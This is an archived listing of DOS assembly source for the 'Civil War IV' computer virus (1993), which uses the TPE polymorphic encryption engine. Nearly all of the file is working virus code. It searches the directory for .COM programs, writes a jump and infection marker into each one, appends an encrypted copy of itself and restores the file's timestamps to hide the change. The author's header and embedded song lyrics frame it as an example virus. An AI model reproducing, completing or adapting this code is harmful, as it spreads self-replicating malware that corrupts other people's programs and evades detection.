home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / CIVIL_4A.ASM < prev    next >
Assembly Source File  |  1995-05-23  |  7KB  |  191 lines

  1. ;****************************************************************************
  2. ;*   Civil War IV                                                           *
  3. ;*                                                                          *
  4. ;*   Assembled with Tasm 2.5                                                *
  5. ;*                                                                          *
  6. ;*   (c) Jan '93 Dark Helmet, The Netherlands.                              *
  7. ;*   The author takes no responsibilty for any damages caused by the virus  *
  8. ;*                                                                          *
  9. ;*   Example virus with the TPE engine (TPE version 1.3).                   *
  10. ;*   Use : TASM  CIVIL_4A                                                   *
  11. ;*         TLINK CIVIL_4A TPE                                               *
  12. ;*                                                                          *
  13. ;*--------------------------------------------------------------------------*
  14. ;*                                                                          *
  15. ;* This virus is NOT dedicated to Sara Gordon, but to all the innocent      *
  16. ;* people who are killed in Yugoslavia.                                     *
  17. ;*                                                                          *   
  18. ;* The text in the virus is taken from the song Civil War (hence the name)  *
  19. ;* of Guns and Roses, Use Your Illusion II, we hope they don't mind it.     *
  20. ;*                                                                          *
  21. ;* The first name for the virus was NAVIGATOR II, because the virus is      *
  22. ;* based on the NAVIGATOR virus (also written by me, a while back), but     *
  23. ;* since I decided to put the songtext in it I renamed it to Civil War IV   *
  24. ;*                                                                          *
  25. ;****************************************************************************
  26.  
  27.         .model tiny
  28.         .radix 16
  29.         .code
  30.         
  31.         extrn   rnd_init:near
  32.         extrn   rnd_get:near
  33.         extrn   crypt:near
  34.         extrn   tpe_top:near
  35.  
  36.         org 100h
  37.  
  38. len             equ offset tpe_top - begin 
  39.  
  40. Dummy:          db 0e9h, 03h, 00h, 44h, 48h, 00h
  41.  
  42. Begin:          call virus                      ; calculate delta offset
  43.  
  44. Virus:          pop bp
  45.         sub bp,offset virus
  46.         
  47.         mov dx,0fe00h                   ; DTA instellen
  48.         mov ah,1ah
  49.         int 21h
  50.         
  51. Restore_begin:  call rnd_init                   ; init random generator
  52.         mov di,0100h
  53.         lea si,ds:[buffer+bp]
  54.         mov cx,06h
  55.         rep movsb
  56.                 
  57. First:          lea dx,[com_mask+bp]            ;get first COM file 
  58.         mov ah,04eh
  59.         xor cx,cx
  60.         int 21h
  61.  
  62. Open_file:      mov ax,03d02h                   ;open for READ/WRITE
  63.         mov dx,0fe1eh
  64.         int 21h
  65.         mov [handle+bp],ax
  66.         xchg ax,bx
  67.  
  68. Read_date:      mov ax,05700h                   ;store date/time for later
  69.         int 21h                         ;use
  70.         mov [date+bp],dx
  71.         mov [time+bp],cx
  72.  
  73. Check_infect:   mov bx,[handle+bp]              ;check if initials present in   
  74.         mov ah,03fh                     ;file
  75.         mov cx,06h
  76.         lea dx,[buffer+bp]
  77.         int 21h
  78.  
  79.         mov al,byte ptr [buffer+bp]+3   ;Compare initials
  80.         mov ah,byte ptr [buffer+bp]+4 
  81.         cmp ax,[initials+bp]
  82.         jne infect_file                 ;if initials not present
  83.                         ;start infecting file
  84.  
  85. Close_file:     mov bx,[handle+bp]              ;close file
  86.         mov ah,3eh
  87.         int 21h
  88.  
  89. Next_file:      mov ah,4fh                      ;get next COM file
  90.         int 21h                         ;in directorie
  91.         jnb open_file
  92.         jmp exit
  93.  
  94. Infect_file:    mov ax,word ptr [cs:0fe1ah]     ;get lenght of file
  95.         sub ax,03h
  96.         mov [lenght+bp],ax
  97.         mov ax,04200h                   ;goto begin of file
  98.         call move_pointer
  99.         
  100. Write_jump:     mov ah,40h                      ;Write JUMP intruction
  101.         mov cx,01h
  102.         lea dx,[jump+bp]
  103.         int 21h
  104.  
  105.         mov ah,40h                      ;Write JUMP offset
  106.         mov cx,02h
  107.         lea dx,[lenght+bp]
  108.         int 21h
  109.  
  110.         mov ah,40                       ;Write initials to check
  111.         mov cx,02h                      ;for infection later 
  112.         lea dx,[initials+bp]
  113.         int 21h
  114.         
  115.         mov  ax,4202h                   ; move to end of file
  116.         call move_pointer               ; for infection
  117.  
  118. ;*****************************************************************************
  119. ;                               T P E                                        *
  120. ;*****************************************************************************
  121.      
  122. Encrypt:        push bp                         ; BP = delta offset
  123.                         ; push delta offset on stack
  124.                         ; for later use.
  125.  
  126.         mov ax,cs                       ; Calculate worksegment                 
  127.         add ax,01000h
  128.         mov es,ax                       ; ES point to decrypt virus
  129.         
  130.         lea dx,[begin+bp]               ; DS:DX begin encryption
  131.  
  132.         mov cx,len                      ; virus lenght  
  133.                         
  134.         mov bp,[lenght+bp]              ; decryption starts at this 
  135.         add bp,103h                     ; point
  136.  
  137.         xor si,si                       ; distance between decryptor
  138.                         ; and encrypted code is 0 bytes
  139.  
  140.         call rnd_get                    ; AX = random value
  141.         call crypt                      ; encrypt virus
  142.  
  143.         pop bp                          ; BP = delta offset
  144.                         ; get delta offset of stack
  145.  
  146. ;******************************************************************************
  147. ;                               T P E - E N D                                 *
  148. ;******************************************************************************
  149.  
  150. Write_virus:    mov bx,[handle+bp]
  151.         mov ah,40h
  152.         int 21h
  153.  
  154. Restore_date:   mov ax,05701h
  155.         mov bx,[handle+bp]
  156.         mov cx,[time+bp]
  157.         mov dx,[date+bp]
  158.         int 21h
  159.  
  160. Exit:           mov bx,0100h                    ; jump to start program
  161.         jmp bx
  162.  
  163. ;----------------------------------------------------------------------------
  164.  
  165. move_pointer:   mov bx,[handle+bp]
  166.         xor cx,cx
  167.         xor dx,dx
  168.         int 21h
  169.         ret
  170.         
  171. ;----------------------------------------------------------------------------
  172. v_name          db "Civil War IV, (c) 1993 "
  173. com_mask        db "*.com",0
  174. handle          dw ?
  175. date            dw ?
  176. time            dw ?
  177. buffer          db 090h,0cdh,020h,044h,048h,00h
  178. initials        dw 4844h         
  179. lenght          dw ?
  180. jump            db 0e9h,0
  181. message         db "For all i'v seen has changed my mind"
  182.         db "But still the wars go on as the years go by"
  183.         db "With no love of God or human rights"
  184.         db "'Cause all these dreams are swept aside"
  185.         db "By bloody hands of the hypnotized"
  186.         db "Who carry the cross of homicide"
  187.         db "And history bears the scars of our Civil Wars." 
  188. writer          db "[ DH / TridenT ]",00
  189.  
  190.         end  dummy
  191.